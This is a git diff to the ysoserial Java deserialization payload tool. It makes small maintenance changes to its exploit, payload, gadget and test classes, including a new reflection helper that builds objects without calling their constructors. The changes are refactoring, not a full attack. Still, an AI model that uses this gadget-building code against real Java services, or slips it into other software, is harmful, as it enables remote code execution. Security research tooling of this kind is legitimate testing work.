diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index e6e41df..7eb1d64 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -30,6 +30,7 @@ public class GeneratePayload { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); + return; // make null analysis happy } try { diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index 7286a00..c82f4b5 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -3,7 +3,6 @@ package ysoserial.exploit; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; -import java.util.Arrays; import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; @@ -18,6 +17,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . */ +@SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { public static void main(final String[] args) throws Exception { final String host = args[0]; diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java index 04b61e1..80ab9d9 100644 --- a/src/main/java/ysoserial/payloads/BeanShell1.java +++ b/src/main/java/ysoserial/payloads/BeanShell1.java @@ -3,8 +3,6 @@ package ysoserial.payloads; import bsh.Interpreter; import bsh.XThis; -import java.io.*; -import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Comparator; @@ -17,7 +15,7 @@ import ysoserial.payloads.util.PayloadRunner; * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) public class BeanShell1 extends PayloadRunner implements ObjectPayload { diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index 3a8133f..2693f76 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -6,6 +6,7 @@ import org.reflections.Reflections; import ysoserial.GeneratePayload; +@SuppressWarnings("rawtypes") public interface ObjectPayload { /* * return armed payload object to be serialized that will execute specified diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 683f8f4..3994cb5 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -14,7 +14,6 @@ import java.util.Map; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; -import ysoserial.payloads.util.Gadgets.StubTransletPayload; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; @@ -113,7 +112,7 @@ public class Gadgets { // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java index d4dc7f4..17a35f5 100644 --- a/src/main/java/ysoserial/payloads/util/Reflections.java +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -2,7 +2,11 @@ package ysoserial.payloads.util; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import sun.reflect.ReflectionFactory; + +@SuppressWarnings ( "restriction" ) public class Reflections { public static Field getField(final Class clazz, final String fieldName) throws Exception { @@ -29,5 +33,21 @@ public class Reflections { ctor.setAccessible(true); return ctor; } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T)sc.newInstance(consArgs); + } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index b5fd940..93dc79e 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -36,7 +36,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; TODO: figure out better way to test exception behavior than comparing messages */ -@SuppressWarnings({"restriction", "unused", "unchecked"}) +@SuppressWarnings({"rawtypes", "unused", "unchecked"}) @RunWith(Parameterized.class) public class PayloadsTest { private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); @@ -59,9 +59,9 @@ public class PayloadsTest { testPayload(payloadClass, new Class[0]); } - public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { + public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { final String command = "hostname"; - final String[] deps = Dependencies.Utils.getDependencies(payloadClass); + final String[] deps = buildDeps(payloadClass); ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); final byte[] serialized = sm.wrap(new Callable(){ public byte[] call() throws Exception { @@ -87,7 +87,20 @@ public class PayloadsTest { Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } - @SuppressWarnings({ "unchecked" }) + /** + * @param payloadClass + * @return + */ + private static String[] buildDeps ( final Class> payloadClass ) { + String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass); + if ( System.getProperty("properXalan") != null ) { + baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1); + baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2"; + } + final String[] deps = baseDeps; + return deps; + } + private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; URL[] urls = new URL[jars.length];